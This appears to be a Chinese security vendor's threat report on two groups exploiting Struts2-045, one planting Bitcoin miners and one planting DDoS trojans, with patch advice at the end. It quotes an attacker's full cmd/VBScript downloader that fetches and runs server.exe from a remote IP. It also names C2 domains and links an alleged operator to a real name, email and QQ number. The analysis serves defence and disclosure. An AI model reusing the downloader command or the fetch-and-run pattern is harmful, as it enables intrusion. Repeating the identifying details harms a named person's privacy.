导语:近期发现并确认了两个威胁组织利用Struts2的安全漏洞攻击行为,下载并执行不同的木马程序进行攻击获利。
1.报告摘要
近期,神州网云依靠高级威胁检测引擎并结合天际友盟的威胁情报,精确发现了多起高级威胁组织的攻击,通过快速有效的一键溯源确定了攻击行为及影响。
Struts2的安全漏洞从2010年开始陆续被披露存在远程代码执行漏洞,从2010年的S2-005、S2-009、S2-013 S2-016、S2-019、S2-020、S2-032、S2-037、devMode、及2017年3月初Struts2披露的S045漏洞,每一次的漏洞爆发随后互联网都会出现Struts2扫描攻击活动。
近期发现并确认了两个威胁组织利用Struts2的安全漏洞攻击行为,下载并执行不同的木马程序进行攻击获利。
1. “西方红玫瑰”利用一个位于欧洲的ISP网络进行Struts2攻击,主要针对Linux平台来下载执行比特币挖矿程序进行获利。
2. “辣条先生”至少拥有5年左右的黑产活动经历,利用中国江西电信网络长期进行各种威胁活动。本次活动利用Struts2漏洞进行攻击,主要针对Windows平台下载安装DDoS木马,并通过控制的大量服务端来进行DDoS攻击。
2.西方红玫瑰挖矿组织
通过网镜高级威胁检测系统自身的检测能力结合威胁情报发现了俄罗斯&保加利亚(备注:IP区域地址库多个源不统一)的一个WestVPS运营商的多个IP地址Struts2-045攻击行为,结合与情报分析、样本分析判断为挖矿攻击行为。根据该组织的特点我们命名次组织为“西方红玫瑰”组织。该组织通过Struts2-045漏洞批量对互联网的WEB应用服务器发起攻击,并下载恶意脚本执行下载进行比特币挖矿程序,主要感染Linux服务器。
2.1.IP 5.188.10.250俄罗斯&保加利亚的溯源分析
检测到多起恶意IP地址频繁对某数据中心发起Struts2-045攻击行为。
网镜高级威胁检测系统检测到Struts2-045攻击
针对攻击IP地址5.188.10.250 进行溯源分析
通过一键点击恶意IP进行溯源分析发现此IP地址为扫描器类型,且IP地址的信誉值较高,证明长期活跃还在对互联网进行恶意扫描活动。
Struts2-045攻击原始数据包
分析攻击数据包,发现Struts2漏洞攻击的命令利用wget下载一个文件并执行,地址:http://91.230.47.40/common/logo.jpg下载下来logo.jpg文件 是伪装成图片的bash脚本,内容如下:
对于logo.jpg脚本文件分析如下:
logo.jpg是在linux环境下执行一系列命令,前面ps一些命令强制杀掉一些进程,ps -fe|grep `echo $id2`|grep -v grep–检查eulyjbcfew进程是否存在,if [ $? -ne 0 ]—如果没有找到自己的木马进程,即不等于0,则执行下载配置文件kworker.conf。根据cpu 是否支持aes加密指令集下载不同的木马程序,即if [ $? -ne 1 ]–并且不等于1则下载kworker文件,若不等于0也不不等于1,则下载kworker_na文件为木马添加执行权限并执行,最后判断有几个物理CPU核,充分利用受害者的服务器CPU资源。
下载的文件列表
Kworker.conf内容
2.2.kworker样本分析
kworker样本信息:
通过各类杀软的结果可以认定此样本为比特币挖矿客户端,见下图:
通过矿机的类型进行比对此类型应该属于第一种,利用主机CPU资源进行挖矿,这从样本的分析证实了此行为。
挖矿样本运行过程如下:
通过调用挖矿客户端以url(json格式)作为参数与矿池通信并登记。当矿池与挖矿客户端连接以后,挖矿客户端向矿池请求任务订阅,矿池给挖矿客户端返回任务。当挖矿客户端找到share节点时,即可向矿池提交任务。并且发现样本有上传受害者服务器信息的嫌疑。
详细分析:
1)矿机采用stratum协议是目前最常用的矿机和矿池之间的TCP协议进行通信
2)矿机通过指定url与矿池连接。
3)当矿机启动后首相向矿池订阅任务,然后矿池立即以mining.notify形式返回订阅号
4)当矿机在矿池中登记后,矿池就会立即以mining.notify返回上述订阅的任务。
5)矿机登录:矿机登录前必须进行上述步骤的初始化连接否则矿机接不到任务.
根据kworker.conf的内容可以进行判定疑似矿池地址:91.121.2.76:80
User=43We5FWNCmqffXY5tHriA3LMqhCRgXP9uZvMAZ8gfG7SYaLdQTpo2GGPDjk6zWdGAe6RedPTRhmC1EkGnAY3dPE62H3Gu8R Pass=”x”
6)当矿机找到合法的share后就会就会进行结果的提交
7)上传用户信息
2.3.kworker_na样本分析
通过各类杀软的结果可以认定此样本为比特币挖矿客户端,与kworker样本的结果一直,见下图:
通过对恶意脚本文件中的if-else的内容判断条件的分析。
对kworker_na样本分析,可以确定kworker_na与kworker作用相同,不同点在于Kworker_na 无符号调试信息,所示大小比kworker 文件小。
2.4.IP 5.188.10.104的溯源分析
通过网镜高级威胁检测系统利用相同的方法还发现在5.188.10.x网段还有一个IP地址5.108.10.104也在进行相同的攻击,同样利用Struts2-045漏洞,执行相同的攻击命令,传播相同的挖矿样本。所以我们把这两个IP攻击归属为一个组织。
网镜高级威胁检测系统检测到5.108.10.104同样进行Struts2-045攻击
5.188.10.104 利用Struts2-045漏洞攻击数据包
从攻击请求的内容上看,跟5.188.10.104攻击行为没有什么区别,也是下载一个相同URL地址的logo.jpg文件,所以判断两个地址的攻击行为一致,且是相同的组织所为。
3.辣条先生DDoS组织
通过某节点神州网云网镜高级威胁检测系统自身的检测能力、天际友盟威胁情报能力发现了多个IP地址的Struts2-045行为,结合与情报分析、样本分析判断为DDoS行为。根据该组织的C2通信域名特点我们命名次组织为“辣条先生”组织。该组织通过Struts2-045漏洞批量对互联网的WEB应用服务器发起攻击,并下载恶意脚本进行DDoS木马植入,主要感染Windows服务器。
3.1.IP 111.73.45.188的溯源分析
通过网镜高级威胁检测系统的高级恶意行为检测及情报匹配检测到多起恶意IP地址频繁对某数据中心发起Struts2-045攻击行为。
网镜高级威胁检测系统检测到111.73.45.188 的Struts2-045攻击
针对攻击IP地址111.73.45.188 进行溯源分析
通过一键点击恶意IP进行溯源分析,发现此IP地址恶意行为包含扫描器及恶意软件节点等多个威胁类型。且IP地址的信誉值较高,证明长期活跃还在对互联网进行恶意活动。
Struts2-045攻击原始数据包
执行的恶意命令代码如下:
cmd='cmd /c echo Set xPost = CreateObject("Microsoft.XMLHTTP") > hu.vbs&@echo xPost.Open "GET","http://111.73.45.188:52875/server.exe",0 >> hu.vbs&@echo xPost.Send() >> hu.vbs&@echo Set sGet = CreateObject("ADODB.Stream") >> hu.vbs&@echo sGet.Mode = 3 >> hu.vbs&@echo sGet.Type = 1 >> hu.vbs&@echo sGet.Open() >>hu.vbs&@echo sGet.Write(xPost.responseBody) >>hu.vbs&@echo sGet.SaveToFile "C:/server.exe",2 >>hu.vbs&@cscript hu.vbs&@del hu.vbs&@start C:/server.exe')
通过vbscript代码实现文件下载功能,主要是使用了ADODB.Stream来执行如下行为:创建vbs下载者下载–保存到c盘,调用cscript运行vbs下载者,然后删除自身。网址http://111.73.45.188:52875打开以后,界面如下:发现Server.exe点击量达到了735次,证明已经被下载安装了735次。
攻击者的木马文件列表
此下载者木马首先通过server.exe隐藏自身进程为conime.exe,然后通过指定连接下载2022.exe、3597.exe及7021.exe三个DdoS攻击的木马服务端。接下来可以通过与C2进行通信,根据接收到的黑客命令进行拒绝式服务攻击。
3.2.下载者木马server.exe样本分析
通过溯源平台关联分析
利用威胁情报平台溯源能力对样本(d738afeb7a1d8bc65ce4726ed28c22b4)进行溯源分析,发行多家杀毒厂商认定样本为木马下载器,并且通过可视化的关联出样本的恶意网络行为。
通过逆向分析木马下载者的关键文件行为如下:
l释放可执行文件:C:WINDOWSpjuezconime.exe
l复制自身文件内容到:C:WINDOWSpjuezconime.exe
l释放启动文件 conime.exe
l退出自身进程
如果当前系统没有加载过server.exe则会先创建server.exe此进程。
此处通过进行strcmpi()函数进行比对当前加载的文件是否conime.exe 。
如果当前调试文件不是:C:Windowspjuezconime.exe则接下来在此路径下的进行文件创建。
通过文件监控观察server.exe的进程树可知:
Server.exe文件创建进程加载自身,之后又创建新文件conime.exe进程(C:WINDOWSpjuezconime.exe)。最后进程server.exe退出真正的木马下载 conime.exe 运行。
真正的木马下载者conime.exe
通过溯源平台关联分析
利用威胁情报平台溯源能力对样本(19e9c14bdd3a26a7e7463d1837c6f0ba)进行溯源分析,发行多家杀毒厂商认定样本为木马下载器,并且通过可视化的关联出样本的恶意网络行为。
关键行为分析:
1)传递受害者MAC地址
与(http://a1123448049.host3v.net 域名IP地址168.235.251.223)建立网络连接传送主机mac地址(存在唯一性)与时时进程数量。目的是建立受害者信息库,并执行后续的恶意操作。
2)尝试连接111.73.45.188服务器下载恶意程序
当与111.73.45.188:52875连接后进行下载baidu.gif文件,之后再下载2202.exe 3597.exe、7012.exe恶意程序。
网络行为监控发现恶意程序的网络行为:
3)保存下载恶意文件
HTTP请求通过InternetOpenurl()函数打开连接,利用函数InternetReadFile()写入本地 C:UsersHello_WorldAppDataLocalTemp临时目录等待运行调用。
3.3.DDoS攻击样本分析
1)样本2022.exe
2)样本2597.exe
3)样本7021.exe
通过对上述三个样本(2022.exe、3597.exe、7021.exe)分析认定三个样本都是DDoS攻击木马,针对Windows平台创建自动启动,获取操作系统信息上传到C2服务器;并等待黑客组织的攻击指令对目标网站及服务器发起DDoS攻击。
拷贝自身文件到C:WINDOWS目录并更改名称为taskhost.exe来迷惑用户
复制操作
写入注册表实现开机自动启动
创建互斥量信息并成设置C2连接地址
比对操作系统版本信息,判断操作系统版本
获取系统语言信息
获取CPU信息
获取信息发送到C2服务器
创建线程等待黑客指令进行攻击:
在查看样本资源节带有PE文件,利用工具转出来后,MD5比较和样本释放在C:Documents And SettingAdministratorLocal SettingsTemp路径释放的多个名称为XXXXXIE_FILE.exe的MFC文件一样。
资源中隐藏有PE文件
比对MD5发现临时文件夹这两个文件的MD5地址1c80d9201868e4b9c585db4eec4d0021是相同的。
设置DDoS C2地址
将资源节中的Bin数据释放出来,创建MFC文件来运行发起DDoS攻击。创建多个mfc格式文件后,等待接收黑客指令,发动攻击。函数sub_403624跟进后是与服务器域名为:www.latiaorj.org的进行TCP连接。
进行TCPMutilConnect攻击
进行WebDownFileFlood2攻击操作
进行TCP sendData攻击
进行TcpConnect攻击
下面是虚拟机运行7012.exe后验证攻击的截图,多次发送大量网络向数据包,且数据长度为0。
样本 3597.exe和7012.exe代码结构是和2022.exe一样,且样本行为一致,只是连接的服务器和自我复制后的名称不。3579.exe连接的域名为www.lationwz.org释放nvvdsync.exe,7012.exe连接的域名是qiangzairouji.f3322.org,释放 quefhost.exe如下图所示:
3579.exe连接的域名:www.latiaowz.org:3597
3579释放的exe文件名
7012.exe连接的域名:qiangzhirouji.f3322.org:7012
7012释放的exe文件名
3.4.辣条先生溯源分析
根据发现的DDoS的C2域名latiaorj.org,通过Whois反查后发现以下信息:邮箱:[email protected] 联系人:caihongqiang,通过威胁情报平台溯源发现确实与多个恶意程序有关联。
根据获取的域名的注册邮件地址[email protected]通过对支付宝账号进行验证,得知真实名字叫蔡洪强。
结合在server.exe出现的域名:http://a1123448049.host3v.net怀疑出现的1123448049为QQ号,搜索QQ号发现昵称为辣条:
利用百度搜索QQ号得到信息,可以看到该作者从2013开始一直活跃在各大黑客论坛,并一直研究木马远控相关的技术。由此可见蔡洪强利用江西111.73.45.188服务器网络对互联网Windows平台发起Struts2-045 Web攻击,并在受害者对服务器种植DDoS木马,利用控制的大量DDoS服务端发起DDoS攻击。
4.安全建议
互联网中充斥着大量的网络攻击行为,数据中心及内部网络中每天产生大量的安全告警及威胁活动。可以依靠先进的威胁检测系统并结合威胁情报来进行精确的威胁发现及防御威胁攻击。
针对Struts2-045的修复建议:
检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,更新至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
临时解决方案:
删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
5.指示器(IOC)
事件中涉及的ip或者域名有:
事件中涉及的木马样本hash值有:
6.结语
集特征监测、行为分析、全流量深度分析、取证、威胁情报、大数据分析等技术为一体的高级威胁检测与威胁情报,可以在更广的领域和范围进行网络信息安全事件的事前警示、事中发现、事后溯源,系统还原的相关网络行为及报警线索自动留存6个月以上,为分析人员提供安全事件的全方位大纵深态势感知、分析定性与电子取证能力。